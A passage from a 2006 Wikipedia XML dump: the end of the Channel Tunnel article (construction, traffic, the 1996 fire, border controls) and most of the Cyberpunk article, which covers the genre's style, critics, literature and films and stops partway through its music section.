===Completion===
[[Image:Channel_Tunnel_Opening_Ceremony.jpg|thumb|300px|Opening of the Channel Tunnel by Queen [[Elizabeth II]] and French President [[François Mitterrand]].]]
The British and French efforts, which had been guided by laser surveying methods, met first with the completion of the undersea service ( access ) tunnel. The difference in the centrelines of the two ends of the tunnel was surveyed as just 358 mm horizontally and 58 mm vertically.
When the two ends of the undersea service tunnel met 40 m beneath the English Channel seabed on [[1 December]] [[1990]] it became possible to walk on dry land from Great Britain to continental Europe for the first time since the end of the [[Wisconsin glaciation|last ice age]] 8,500 years ago. The tunnel was officially opened by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] and French President [[François Mitterrand]] in a ceremony held in [[Calais]] on [[6 May]] [[1994]].

===Statistics===
The Channel Tunnel is 50 km (31 miles) long, of which 39 km (24 miles) are undersea. The average depth is [[1 E1 m|45 m]] (150 ft) underneath the seabed. It opened for business in late 1994, offering three principal services: a shuttle for vehicles, [[Eurostar]] passenger service linking London with [[Paris]] and [[Brussels]], and through freight trains.

In 2004, 7,276,675 passengers travelled through the tunnel on [[Eurostar]] while in the same year Eurotunnel carried 2,101,323 cars, 1,281,207 trucks and 63,467 coaches on its shuttle trains.

Rail freight carried through the Channel Tunnel increased by 8% to 1,889,175 t in 2004.

A journey through the tunnel lasts about 20 minutes; from start to end  a shuttle train journey totals about 35 minutes, including travelling a large loop to turn the train round. Eurostar trains travel considerably slower than their top speed while going through the tunnel, in part to fit in with the shuttle trains.

At completion, it was estimated that the whole project cost around £10 billion.

The [[American Society of Civil Engineers]] has declared the tunnel to be one of the [[Seven Wonders of the World#Modern Wonders|Seven Wonders of the Modern World]].

===Operation===
[[Image:ETunnelhoch.jpg|thumb|200px|Interior of Eurotunnel shuttle (vehicle train)]]
The tunnel is operated by [[Eurotunnel]] (Eurotunnel plc in England, and Eurotunnel SA in France).

Four types of train services operate:
* ''[[Eurostar]]'' [[high-speed rail|high speed]] passenger trains.  These connect [[London]]'s [[Waterloo station]] (named after the Napoleonic [[Battle of Waterloo|battle]] between the UK and France) with the [[Gare du Nord]] station in [[Paris]] and [[Brussels]] Midi/Zuid station, with stops at [[Ashford, Kent|Ashford]], [[Calais]]-Frethun and [[Lille]]. Eurostar services will switch from Waterloo to [[St Pancras railway station]] when the new [[Channel Tunnel Rail Link]] railway line is completed between the tunnel and London in 2007.
* ''[[Eurotunnel Shuttle]]'' passenger shuttle trains. These carry cars, coaches and vans between Sangatte (Calais/Coquelles) and Folkestone. Enclosed rail wagons, some double-deck, with minor amenities permit drive-on and drive-off operation; passengers stay with their vehicles. Formerly marketed as ''Le Shuttle''.
* Eurotunnel freight shuttle trains. These carry lorries on open rail wagons, with the lorry drivers travelling in a separate passenger coach.
* Rail freight trains. These trains carry conventional rail freight or [[Containerization|container]] loads between Europe and Great Britain.

Eurostar trains travel at high speeds in France and on the [[Channel Tunnel Rail Link]], where the tracks are modern and custom-made for the standard [[TGV]] cruising speed of 300 km/h (186 mph), and within the tunnel at up to 160 km/h (100 mph). The first section of the Channel Tunnel Rail Link, between the tunnel &amp; [[Ebbsfleet]] in North Kent, opened in 2003. Until the second section between Ebbsfleet and St Pancras opens in 2007 Eurostar trains use 'traditional' lines for the final part of the journey into Waterloo, running at much lower speeds.

There have been proposals for local passenger rail services linking Kent with towns in the [[Pas de Calais]], along the lines of the local trains that run between [[Zealand]] and southern [[Sweden]] across the [[Oresund Bridge]], but such a service remains unlikely.

===Fire===
The Channel Tunnel's only serious operational incident was a  fire on [[18 November]] [[1996]] aboard a shuttle train carrying trucks and trailers. With rescue crews already alerted, the Folkestone-bound train came to an emergency stop halfway through the tunnel. Amid acrid smoke, truck drivers were evacuated to a train headed the other way. Fire crews managed to extinguish the superheated fire in a number of hours, battling low water pressure, high-velocity wind from the emergency actions of the ventilation fans and intense heat. 650 ft (200 m) of the tunnel lining was seriously damaged, and another 650 ft was significantly damaged. In some areas the concrete lining was thinned by spalling from the heat to only 50 mm of its original 450 mm thickness. The rear wagons and rear locomotive of the train were destroyed. No lives were lost, due in large part to the safety of the tunnel design and the response of safety crews from France and the UK.

The tunnel was re-opened for limited use on [[21 November]] [[1996]], only three days after the fire. With only one rail tunnel in operation, safety rules prohibited passenger services from using the tunnel. All freight services used the normally France-bound tunnel until the damaged tunnel had been repaired.  Passenger services resumed on [[4 December]] [[1996]], and full service was restored on [[6 January]] [[1997]].

The tunnel's operators faced criticism for mishandling the incident.  The train had been observed to be on fire when entering the tunnel, and much of the incident's complexity could have been avoided if the train had stayed above ground.  Once it was decided to have the train proceed to Folkestone, much of the trouble could again have been avoided if this plan had been completed, but the train driver decided to stop in the tunnel due to concern about a possible derailment.  There were also miscommunications in the fire-fighting response. [http://www.writer-tech.com/pages/summaries/summchunnel.htm]

===Sovereignty===
As one of the first international rail tunnels, the Channel Tunnel required an inventive approach to border controls. The official border between France and the United Kingdom is a painted line roughly halfway through the tunnel (the UK side is somewhat longer). The British half is part of the [[District of Dover]] and the [[Counties of England|English county]] of [[Kent]]. As a practical matter border controls are handled at boarding or on the train. A detailed three-way treaty between the United Kingdom, France, and Belgium governs border controls, with the establishment of ''control zones'' wherein the officers of the other nation may exercise limited customs and law enforcement powers. For most purposes these are at either end of the tunnel; for certain city-to-city trains the train itself represents a control zone.

In an unusual move, the British and French governments agreed to provide immigration staff at opposite ends of the tunnel; thus the French immigration control posts are located in the United Kingdom, while the British ones are in France.

===Asylum seekers===
The tunnel has become a means by which [[Asylum seeker|asylum seekers]] enter the United Kingdom. A few attempt to walk through the tunnel or to cling to the trains, but most try to hide in freight containers or trucks using the tunnel. In 2002, British immigration authorities added sophisticated listening and imaging equipment to their post in Kent, hoping to hear the heartbeats or sense the breathing of such stowaways. In early 2003 the British government persuaded the French authorities to close the controversial centre for asylum seekers at [[Sangatte]], which they felt encouraged such clandestine travel, and to surround the portal with barbed-wire fencing.

===Financial trouble=== 

Eurotunnel, the company that built and funded the project and currently runs the shuttle services, has been in financial difficulties almost from the start. Attempts at remedying the problems have included cutting the number of trains per hour on a normal day from four to two, reducing staff and streamlining the business.

===Appearances in film===
Given its status as one of the 20th century's most significant feats of engineering, it is perhaps surprising that the Channel Tunnel has not become more of a cultural icon (although admittedly other &quot;[[Seven Wonders of the World|modern wonders of the world]]&quot; such as the [[Golden Gate Bridge]] and [[Empire State Building]] are more photogenic).

The Channel Tunnel features in the climax of the film ''[[Mission: Impossible (movie)|Mission: Impossible]]'' ([[Brian De Palma]], [[1996]]), in which [[Tom Cruise]], clinging on to a high-speed train, is chased by a [[helicopter]] into what is supposedly the Channel Tunnel. The largely [[Computer-generated imagery|CGI]] sequence contains many factual errors in addition to the physical impossibility of such a feat. In the film the tunnel is shown as a single rectangular twin-track tunnel, and the trains shown are standard French [[TGV]]s but without overhead wires. In reality the Channel Tunnel uses separate single-track tunnels for the two directions of travel, while [[SNCF]] passenger trains do not operate in the tunnel. The sequence showing the train going into the tunnel was reportedly filmed in the Upper Nithsdale valley on the [[Kilmarnock]] to [[Dumfries]] railway line in [[Scotland]].

''Chunnel'' was also the name of a fictional movie in episode #118 of the popular US television series [[Seinfeld]], entitled ''The Pool Guy''.   ''Chunnel'' was an [[action movie|action]]/[[disaster movie]] which featured the Tunnel as its primary [[setting]].  Although it had a somewhat obscure plot involving murder and money, at one point everybody was ordered out of the Chunnel due to the threat of an explosion which occured shortly thereafter.  It was further revealed that the President of the United States' daughter was also trapped in the chunnel at the time of the explosion.

The Channel Tunnel was also featured in an episode of ''Megastructures'' on the National Geographic Channel.

==See also==
*[[Channel Tunnel Rail Link]]
*[[Rail transport in Britain]]
*[[UK topics]]

==External links==
* [http://www.dover-to-calais.com/ Information on both le shuttle and Eurostar] 
* [http://www.eurotunnel.com/ Eurotunnel]
* [http://ww2.eurotunnel.com/ukcMain/ukcCompany/ukcAboutUs/ukpAboutUsHistory Channel Tunnel History]
* [http://www.geologyshop.co.uk/chtunfacts.htm Channel Tunnel Facts] - a selection of historical and geological facts about the tunnel
* [http://www.writer-tech.com/pages/summaries/summchunnel.htm Channel Tunnel Fire] - detailed technical summary of the emergency response
* [http://www.engineering.com/content/ContentDisplay?contentId=41007026 Engineering specifications]
* [http://www.theotherside.co.uk/tm-heritage/background/tunnel.htm Another page with history of Channel Tunnel]
* [http://answers.google.com/answers/threadview?id=595242 A detailed report on the background, construction and financial history of the Channel Tunnel.]
* [http://maps.google.com/maps?hl=en&amp;t=k&amp;ll=51.096347,1.153393&amp;spn=0.00312,0.005322 Google Maps] aerial photo of Tunnel at Cheriton
* {{fr icon}} [http://www.batisseurs-tunnel.com Amicale des batisseurs du tunnel sous la manche]

{{Channel tunnel}}

[[Category:Railway tunnels in the United Kingdom]]
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    </revision>
  </page>
  <page>
    <title>Cyberpunk</title>
    <id>5703</id>
    <revision>
      <id>41929425</id>
      <timestamp>2006-03-02T18:15:26Z</timestamp>
      <contributor>
        <username>JulesH</username>
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      <comment>Link to genre 'hard-boiled'</comment>
      <text xml:space="preserve">{{Spoken Wikipedia|Cyberpunk.1.11.06.ogg|2006-01-11}}
[[Image:SonyCenterAtNight.jpg|right|thumb|200px|[[Berlin]]'s [[Sony]] Centre in [[Potsdamer Platz]] reflects the global reach of a [[Japan]]ese corporation.  Much cyberpunk action occurs in urbanized, artificial landscapes, and &quot;city lights at night&quot; was one of the genre's first [[metaphor]]s for [[cyberspace]] (in Gibson's ''[[Neuromancer]]'').]]

'''Cyberpunk''' (a [[portmanteau]] of [[cybernetics]] and [[punk culture|punk]]) is a sub-genre of [[science fiction]] and [[dystopia]]n fiction, focusing on advanced technology such as [[computers]] or [[information technology]] coupled with some degree of breakdown in the social order. The plot of cyberpunk writing often centres on a conflict among [[hacker]]s, [[artificial intelligence]]s, and [[megacorp|mega corporations]], tending to be set within a near-future [[Earth]], rather than the &quot;outer space&quot; locales prevalent in science fiction at the time of cyberpunk's inception. The cities of this future typically have [[dystopian]] characteristics, but are also marked by extraordinary energy and diversity. Much of the genre's &quot;atmosphere&quot; echoes [[film noir]], and written works in the genre often use techniques from [[detective fiction]].

While this gritty, hard-hitting style was hailed as revolutionary during cyberpunk's early days, later observers concluded that in terms of literature, most cyberpunk narrative techniques were less innovative than those of the [[New Wave (science fiction)|New Wave]], twenty years earlier.  Primary exponents of the cyberpunk field include [[William Gibson (novelist)|William Gibson]], [[Rudy Rucker]], [[John Shirley]] and [[Bruce Sterling]]. The term became widespread in the 1980s and remains current today.

During the early and mid-1980s, cyberpunk became a fashionable topic in [[academia|academic circles]], where it began to be the subject of [[postmodernism|postmodernist]] investigation.  In the same period, the genre penetrated [[Hollywood, Los Angeles, California|Hollywood]] and became one of cinema's staple science-fiction styles. Many popular, high-grossing films such as ''[[Blade Runner]]'' and the [[The Matrix series|''Matrix'' trilogy]] can be seen as prominent developments of the genre's visual styles and themes. Computer games, board games and [[role playing game]]s &lt;!--Please insert two most sold RPGs here.--&gt; often feature storylines that are heavily influenced by cyberpunk writing and movies.  Beginning in the early 1990s, trends in [[cyberpunk fashion|fashion]] and [[cyberpunk music|music]] were labeled as cyberpunk.

As a wider variety of writers began to work with cyberpunk concepts, new sub-genres like [[steampunk]] emerged, each of which focuses on technology and its social effects in a different way.  In addition, some people say that works such as [[Neal Stephenson]]'s ''[[Snow Crash]]'' define a [[postcyberpunk]] category, though whether this category is distinct may be only a matter of definition.

==Style and ethos==
[[Image: lain_hacker_small.jpg|right|thumb|250px|The hacker as hero: Lain from the cyberpunk [[anime]] series &quot;''[[Serial Experiments Lain]]''&quot;.]]

Cyberpunk writers tend to use elements from the [[hard-boiled]] [[detective fiction|detective novel]], [[film noir]], and [[postmodernism|postmodernist]] prose to describe the often [[nihilism|nihilistic]] underground side of an electronic society.  The genre's vision of a troubled future is often called the antithesis of the generally [[utopia]]n visions of the future popular in the 1940s and 1950s.  (Gibson defined cyberpunk's antipathy towards utopian SF in his 1981 short story &quot;The [[Hugo Gernsback|Gernsback]] Continuum&quot;, which pokes fun of and, to a certain extent, condemns utopian SF.)

Cyberpunk author [[Bruce Sterling]] summarized the cyberpunk ethos as follows:

''Anything that can be done to a rat can be done to a human being. We can do just about anything you can imagine to rats. And closing your eyes and refusing to think about this won't make it go away.''
:'''''That''' is cyberpunk.''

In cyberpunk writing, much of the action takes place [[online]], in [[cyberspace]], blurring any border between the actual and the [[virtual reality]]. A typical feature of this writing is a direct connection between the human brain and computer systems through advanced technology. Cyberpunk's world is a sinister, dark place with [[computer network|networked]] computers that dominate every aspect of life. Giant multinational corporations have for the most part replaced governments as centers of political, economic and even military power. The [[alienation|alienated]] outsider's battle against a [[Totalitarianism|totalitarian]] system is a common theme in science fiction and cyberpunk in particular, though in conventional science fiction the totalitarian systems tend to be sterile, ordered, and state controlled.

[[Protagonist]]s in cyberpunk writing usually include computer hackers, who are often patterned on the idea of the lone hero fighting injustice: Western gunslingers, samurai (or [[ronin]]), ninja, etc. They are often disenfranchised people placed in extraordinary situations, rather than brilliant scientists or starship captains intentionally seeking advance or adventure, and are not always true &quot;heroes&quot;; an apt comparison might be to the moral ambiguity of [[Clint Eastwood|Clint Eastwood's]] character in the [[Man with No Name]] trilogy. One of the cyberpunk genre's prototype characters is Case, from Gibson's ''[[Neuromancer]].'' Case is a &quot;console cowboy&quot;, a brilliant hacker, who betrays his organized criminal partners. Robbed of his talent through a crippling injury inflicted by the vengeful partners, Case unexpectedly receives a once-in-a-lifetime opportunity to be healed by expert medical care, but only if he participates in another criminal enterprise with a new crew. Like Case, many cyberpunk protagonists are thus manipulated, placed in situations where they have little or no choice, and although they might see things through, they do not necessarily come out any further ahead than they previously were. These [[anti-hero|anti-heroes]] &amp;mdash; &quot;criminals, outcasts, visionaries, dissenters and misfits&quot; {{ref|alt.cyberpunk.faq}} &amp;mdash; do not experience a [[Joseph Campbell|Campbellian]] &quot;[[Monomyth|hero's journey]]&quot;, like a protagonist of a Homeric epic or an [[Alexandre Dumas]] novel. Instead, they call to mind the [[private eye]] of [[detective novel]]s, who might solve the trickiest cases but never receive a just reward. This emphasis on the misfits and the malcontents &amp;mdash; what [[Thomas Pynchon]] called the &quot;preterite&quot; and [[Frank Zappa]] the &quot;left behinds of the [[Great Society]]&quot; &amp;mdash; is the &quot;punk&quot; component of cyberpunk. Cyberpunk literature is often used as a metaphor for the present day-worries about the failings of corporations, corruption in governments, alienation and [[surveillance technology]]. Cyberpunk may be intended to disquiet readers and call them to action.  It often expresses a sense of rebellion, suggesting that one could describe it as a type of [[counterculture|countercultural]] science fiction.  In the words of author and critic [[David Brin]],

:a closer look at [cyberpunk authors] reveals that they nearly always portray future societies in which governments have become wimpy and pathetic ... Popular science fiction tales by Gibson, Williams, Cadigan and others ''do'' depict [[Orwellian]] accumulations of power in the next century, but nearly always clutched in the secretive hands of a wealthy or corporate elite. (''The Transparent Society'', Basic Books 1998)

Sometimes cyberpunk stories have been seen as fictional forecasts of the evolution of the [[Internet]]. The [[Virtual World|virtual world]] of the Internet often appears under various names, including &quot;cyberspace&quot;, the ''Wired'', the ''Metaverse'' and ''the Matrix''. In this context it is important to note that the earliest descriptions of a global communications network came long before the [[World Wide Web]] entered popular awareness, though not before traditional science fiction writers such as [[Arthur C. Clarke]] and some social commentators such as [[James Burke (science historian)|James Burke]] began predicting that such networks would eventually form.

==Criticisms==
[[Image:TrinityMatrixCharacter.jpg|right|thumb|250px|[[Trinity (The Matrix)|Trinity]], heroine of the ''Matrix'' trilogy, is an example of the &quot;razorgirl&quot; type.]]

A variety of commentators have taken the &quot;[[canon (fiction)|canonical]]&quot; cyberpunk works to task, pointing out dubious aspects of the genre. For example, many of the genre's heroines take after ''Neuromancer''&lt;nowiki&gt;'&lt;/nowiki&gt;s Molly, becoming &quot;razorgirls&quot;, who may have [[sex appeal]] for a male [[science fiction]] readership but are said by some [[feminist literary criticism|feminist critics]] not to be [[women's liberation|liberated]] or to be well-developed as characters. Critics writing from this viewpoint tend to find presence of such characters disturbing, particularly when compared to female protagonists in unequivocally [[dystopia]]n science fiction (e.g., [[Margaret Atwood]]'s ''[[The Handmaid's Tale]]''). Some of these critics have claimed that cyberpunk's heroes often establish their [[masculinity]] by dominating a technology described with female [[metaphor]]s &amp;mdash; in essence, through metaphorical [[rape]].

Some critics also view the protagonists of cyberpunk as highly Americanized, &quot;[[cowboy]]s&quot; poised against the collectivist world of Japanese corporations or against European financial dynasties. It has been argued that this repeated use of the cowboy theme meshes well with the images associated with [[Ronald Reagan]], which is odd for a genre so strongly filled with [[punk rock]] and [[recreational drug use|drug]] allusions. Nicola Nixon, assistant editor of the journal ''Postcolonial Studies,'' suggests this &quot;complicity with '80s conservatism&quot; in both economic and social respects implies that despite countercultural pretenses, &quot;cyberpunk fiction is, in the end, not radical at all&quot;. {{ref|NicolaNixon}} Others argue that the &quot;lone hero&quot; is a universal archetype, and that American megacorporations and institutions are just as venomously portrayed as those of other countries.

A recurrent criticism of cyberpunk is that it assumes a [[Dualism (philosophy of mind)|dualistic]] picture of the human body and mind, analogous to that of [[Descartes]], and conveying an antipathy to embodied human life. Once again, this is a concern to some feminist critics. However, other critics have seen cyberpunk as projecting a more sophisticated and modern picture of the mind and its relationship to the body, one that should not be confused with [[Cartesian dualism]] and has more to do with [[cognitive science]].

==Literature==
The science fiction editor [[Gardner Dozois]] is generally acknowledged as the person who popularized the use of the term &quot;cyberpunk&quot; as a kind of [[literature]]. Minnesota writer [[Bruce Bethke]] coined the term in 1980 for his [[short story]] &quot;Cyberpunk&quot;, although the story was not actually published until November 1983, in ''[[Amazing Stories|Amazing Science Fiction Stories]]'', Volume 57, Number 4 {{ref|BruceBethke}}. The term was quickly appropriated as a label to be applied to the works of [[Bruce Sterling]], [[John Shirley]], [[William Gibson (novelist)|William Gibson]], [[Rudy Rucker]], [[Michael Swanwick]], [[Pat Cadigan]], [[Lewis Shiner]], Richard Kadrey and others.  Of these, Sterling became the movement's chief ideologue, thanks to his [[fanzine]] ''[[Cheap Truth]].'' (See also John Shirley's articles on Sterling and Rucker {{ref|JohnShirley}}.)

[[Image:Gibson sprawl.jpg|thumb|200px|left|William Gibson's &quot;''[[The Sprawl trilogy|Sprawl trilogy]]''&quot; novels are the most famous early cyberpunk novels.]]

[[William Gibson (novelist)|William Gibson]] with his novel ''[[Neuromancer]]'' (1984) is likely the most famous writer connected with the term cyberpunk. He emphasized style, character development, and atmosphere over traditional science-fiction [[trope|tropes]], and ''Neuromancer'' was awarded the [[Hugo award|Hugo]], [[Nebula award|Nebula]], and [[Philip K. Dick Memorial Award|Philip K. Dick]] Awards. According to the [[Jargon File]], &quot;Gibson's near-total ignorance of computers and the present-day hacker culture enabled him to speculate about the role of computers and hackers in the future in ways hackers have since found both irritatingly naïve and tremendously stimulating.&quot; {{ref|Jargon}}

Early on, cyberpunk was hailed as a radical departure from science-fiction standards and a new manifestation of vitality. Shortly thereafter, however, many critics arose to challenge its status as a revolutionary movement.  These critics said that the SF &quot;[[New Wave (science fiction)|New Wave]]&quot; of the 1960s was much more innovative as far as narrative techniques and styles were concerned.  Further, while ''Neuromancer''&lt;nowiki&gt;'&lt;/nowiki&gt;s narrator may have had an unusual &quot;voice&quot; for science fiction, much older examples can be found:  Gibson's narrative voice, for example, resembles that of an updated  [[Raymond Chandler]], as in his novel ''[[The Big Sleep]]'' (1939).  Others noted that almost all traits claimed to be uniquely cyberpunk could in fact be found in older writers' works — often citing [[J. G. Ballard]], [[Philip K. Dick]], [[Harlan Ellison]], [[Samuel R. Delany]] and even [[William S. Burroughs]].  For example, Philip K. Dick's works contain recurring themes of social decay, artificial intelligence, paranoia, and blurred lines between reality and some kind of virtual reality.   Other important predecessors include [[Alfred Bester (author)|Alfred Bester]]'s two most celebrated novels, ''[[The Demolished Man]]'' and ''[[The Stars My Destination]],'' as well as [[Vernor Vinge]]'s novella ''[[True Names]]''.

Arguably, the generation that cyberpunk claimed to represent did not step forward to embrace it: the ''real'' punks of the 1980s apparently read little, and most young science-fiction readers of that era stayed with traditional storytellers like [[Larry Niven]] and [[Anne McCaffrey]], not to mention the &quot;Big Three&quot; [[Isaac Asimov|Asimov]], [[Robert A. Heinlein|Heinlein]] and [[Arthur C. Clarke|Clarke]].  [[Television]] via ''[[Max Headroom]]'' and magazines like ''[[Heavy Metal (magazine)|Heavy Metal]]'' did more to popularize the &quot;cyberpunk vision&quot; than did the original fiction. {{ref|PaulBrians}}

Science-fiction writer [[David Brin]] describes cyberpunk as &quot;...the finest free promotion campaign ever waged on behalf of science fiction.&quot; It may not have attracted the &quot;real punks&quot;, but it did ensnare many new readers, and it provided the sort of movement which postmodern literary critics found alluring. (One illustration of this is [[Donna Haraway]]'s &quot;Cyborg Manifesto&quot;, an attempt to build a &quot;political myth&quot; using [[cyborg]]s as [[metaphor]]s for contemporary &quot;social reality&quot;. {{ref|DonnaHaraway}})  Cyberpunk made science fiction more attractive to academics, argues Brin; in addition, it made science fiction more profitable to [[Hollywood, Los Angeles, California|Hollywood]] and to the visual arts generally. Although the  &quot;self-important rhetoric and whines of persecution&quot; on the part of cyberpunk fans were irritating at worst and humorous at best, Brin declares that the &quot;rebels did shake things up. We owe them a debt. [...] But,&quot; he asks, &quot;were they original?&quot; {{ref|DavidBrin}}

As new writers and artists began to experiment with cyberpunk ideas, new varieties of fiction emerged, sometimes addressing the criticisms leveled at the original cyberpunk stories. [[Lawrence Person]] writes, in an essay he posted to the Internet forum [[Slashdot]],

:Many writers who grew up reading in the 1980s are just now starting to have their stories and novels published. To them cyberpunk was not a revolution or alien philosophy invading SF, but rather just another flavor of SF. Like the writers of the 1970s and 80s who assimilated the New Wave's classics and stylistic techniques without necessarily knowing or even caring about the manifestos and ideologies that birthed them, today's new writers might very well have read ''[[Neuromancer]]'' back to back with [[Isaac Asimov|Asimov]]'s ''[[Foundation (novel)|Foundation]],'' [[John Brunner (novelist)|John Brunner]]'s ''[[Stand on Zanzibar]]'', and Larry Niven's ''[[Ringworld]]'' and seen not discontinuities but a continuum. {{ref|LawrencePerson}}

Person's essay advocates using the term &quot;[[postcyberpunk]]&quot; to label the new works such writers produce.  In this view, typical postcyberpunk stories continue the preoccupation with the effects of computers, but without the assumption of [[dystopia]] or the emphasis on [[cybernetic]] implants.  Good examples might be [[Neal Stephenson]]'s ''[[Snow Crash]]'' or [[Warren Ellis]] and [[Darick Robertson]]'s ''[[Transmetropolitan]].''  After Person posted his observations on Slashdot, his readers observed that the term was possibly superfluous&amp;mdash;one more piece of jargon invented to shore up false distinctions. Like practically all categories discerned within science fiction, the boundaries of postcyberpunk are likely to be fluid or ill defined. To complicate matters, there is a continuing market for &quot;pure&quot; cyberpunk novels strongly influenced by Gibson's early work.

Among the subgenres of cyberpunk is [[steampunk]], which is set in an anachronistic [[Victorian era|Victorian]] environment, but with cyberpunk's bleak [[film noir]] world view. The term was originally coined around 1987 as a joke to describe some of the novels of [[Tim Powers]], [[James P. Blaylock]], and [[K.W. Jeter]], but by the time Gibson and Sterling entered the subgenre with their collaborative novel ''[[The Difference Engine]]'' the term was being used earnestly as well. {{ref|wordspy}} The early 1990s saw the emergence of [[biopunk]], a derivative style building not on informational technology but on biology. In these stories, people are changed in some way not by mechanical means, but by [[genetic engineering|genetic manipulation]] of their very chromosomes. [[Paul Di Filippo]] is seen as the most prominent biopunk writer, although [[Bruce Sterling]]'s [[Shaper/Mechanist]] cycle is also a major influence.

[[Cyberprep]] is a term that reflects the flip side of cyberpunk. A cyberprep world assumes that all the [[technological]] advancements of cyberpunk speculation have taken place, but that life is happy rather than gritty and dangerous. Since society is leisure driven, [[mind transfer|uploading]] is more of an art form or a medium of entertainment while advanced [[body modification]]s are used for sports and pleasure.

:''See also the [[List of cyberpunk works#Notable precursors to the genre|list of notable precursors]] and the [[List of cyberpunk works#Print media|list of print media]].''

==Film and television==
[[Image:BladeRunner Bradbury.jpg|thumb|320px|The world of 2019 [[Los Angeles, California|Los Angeles]] as imagined by ''Blade Runner''. ''Blade Runner'' is the most famous early cyberpunk work.]]
The film ''[[Blade Runner]]'' (1982), adapted from Philip K. Dick's ''[[Do Androids Dream of Electric Sheep?]]'', is set in a dystopian future in which manufactured beings called [[replicant]]s are slaves used on space colonies and are legal prey on Earth to various bounty hunters who &quot;retire&quot; (kill) them.  Although ''Blade Runner'' was not extravagantly successful in its first theatrical release, it found a wide viewership in the home video market.  Since the movie omits the religious and mythical elements of Dick's original novel (''e.g.,'' empathy boxes and Wilbur Mercer), it falls more strictly within the cyberpunk genre than the novel does.  William Gibson has revealed being disconcerted at how the look of this film matched his vision when he was working on ''[[Neuromancer]]''.

As mentioned above, the short-lived television series ''[[Max Headroom]]'' also spread cyberpunk tropes, perhaps with more popular success than the genre's first written works.  

The number of films in the genre or at least using a few genre elements has grown steadily since ''Blade Runner.''  Several of Philip K. Dick's works have been adapted to the silver screen, with cyberpunk elements typically becoming dominant; examples include ''[[Minority Report (film)|Minority Report]]'' (2002) and ''[[Paycheck (film)|Paycheck]]'' (2003).  William Gibson has also been adapted:  ''[[Johnny Mnemonic (film)|Johnny Mnemonic]]'' (1995) was not commercially or critically successful, but detailed Gibson's world rather faithfully.

Director [[Darren Aronofsky]] set his debut feature ''[[Pi (film)|&amp;pi;]]'' (1998) in a present-day [[New York City]], but built its script with influences from cyberpunk aesthetic.  According to the [[DVD]] commentary, he and his production team deliberately used antiquated machines (like 5-1/4 inch [[floppy disk]]s) to echo the technological style of ''[[Brazil (film)|Brazil]]'' (1985) and create a cyberpunk &quot;feel&quot;.  Aronofsky describes [[Chinatown]], where the film is set, as &quot;New York's last cyberpunk neighborhood&quot;.

[[Image:Ghost In The Shell DVD.jpg|thumb|250px|left|The [[anime]] [[cult film]] ''[[Ghost in the Shell (film)|Ghost in the Shell]]'', released in 1995, explores a key cyberpunk issue: what happens when the entire human body becomes replaceable?]]
The ''[[RoboCop]]'' series has a more near-futuristic setting where at least one [[list of fictional companies|corporation]], Omni Consumer Products, is an all-powerful presence in the city of [[Detroit]].   ''[[Until the End of the World]]'' (1991) shows another example where cyberpunk provides an assumed background, and a plot device, to an otherwise mood and character-driven story.  ''[[Gattaca]]'' (1997) directed by [[Andrew Niccol]] is a futuristic ''film noir'' whose mood-drenched dystopia provides a good example of [[biopunk]].  

[[Anime]] has contained [[cyborg]]s and other plausibly &quot;cyberpunk&quot; elements since the early 1960s.  Witness the series ''[[8 Man]]'' (1963), about a human-turned-cyborg who fights an endless struggle against his lawless world.  This series arose two decades before Gibson propelled the genre to celebrity, though as with many such questions in science fiction, the actual extent to which these early works influenced later ones is open to debate.  The anime series ''[[Bubblegum Crisis]]'' (1985) was also an early animated form of cyberpunk, and in a more explicit manner: both the ''2032'' and the newer ''2040'' series serve as extended homages to ''Blade Runner.''  The anime movie ''[[Ghost in the Shell (film)|Ghost in the Shell]]'' (1995), based on a 1991 [[manga]] and often hailed as a cyberpunk classic, explores the boundaries between man and machine in a futuristic Japan. The television series ''[[Ghost in the Shell: Stand Alone Complex]]'' {{ref|associated-content}} carries over the movie's characters to explore the movie's world in more sociological depth. Indeed, this focus upon the social impact of network technology has led some commentators to feel that the television series leans more toward being a product of the postcyberpunk period.

The ''Matrix'' series, which began with 1999's ''[[The Matrix]]'' (and now also contains ''[[The Matrix Reloaded]],'' ''[[The Matrix Revolutions]],'' and ''[[The Animatrix]]'') uses a wide variety of cyberpunk elements.  The series' basic premise revolves around a virtual reality so realistic as to be indistinguishable from the real world; human brains are directly connected to this computer system.  The [[Wachowski brothers]], writers and directors behind the series, drew many of its elements from Japanese [[anime]], and ''The Animatrix'' carried the idea exchange in the reverse direction.

Anime has also provided examples of the steampunk sub-genre, such as ''[[Last Exile]]'' (2003), directed by [[Kouichi Chigira]], which features a curious blend of Victorian society and futuristic battles between ships of the sky.  Also of note is 2004's ''[[Steamboy]]'' directed by [[Katsuhiro Otomo]].

:''See also the [[List of cyberpunk works#List of Cyberpunk films|list of cyberpunk films]] and [[List of cyberpunk works#List of TV series|list of cyberpunk TV series]].''

==Music and fashion==
The term &quot;cyberpunk music&quot; can refer to two rather overlapping categories.  First, it may denote the varied range of musical works which cyberpunk films use as soundtrack material.  These works occur in genres from [[European classical music|classical music]] and [[jazz]]&amp;mdash;used, in ''[[Blade Runner]]'' and elsewhere, to evoke a ''film noir'' ambiance&amp;mdash;to &quot;[[Noise music|noize]]&quot; and [[electronica]].  Typically, films draw upon electronica, [[electronic body music]], [[Industrial music|industrial]], [[noise music|noise]], [[futurepop]], [[alternative rock]], [[goth rock]], and [[intelligent dance music]] to create the proper &quot;feel&quot;.  The same principles apply to computer and video games; see the discussion of ''[[Rez]]'' below.  Of course, while written works may not come with associated soundtracks as frequently as movies do, allusions to musical works are used for the same effect.  For example, the graphic novel ''[[Kling Klang Klatch]]'' (1992), a dark fantasy about a world of living toys, features a hard-bitten [[teddy bear]] detective with a sugar habit and a predilection for [[jazz]].

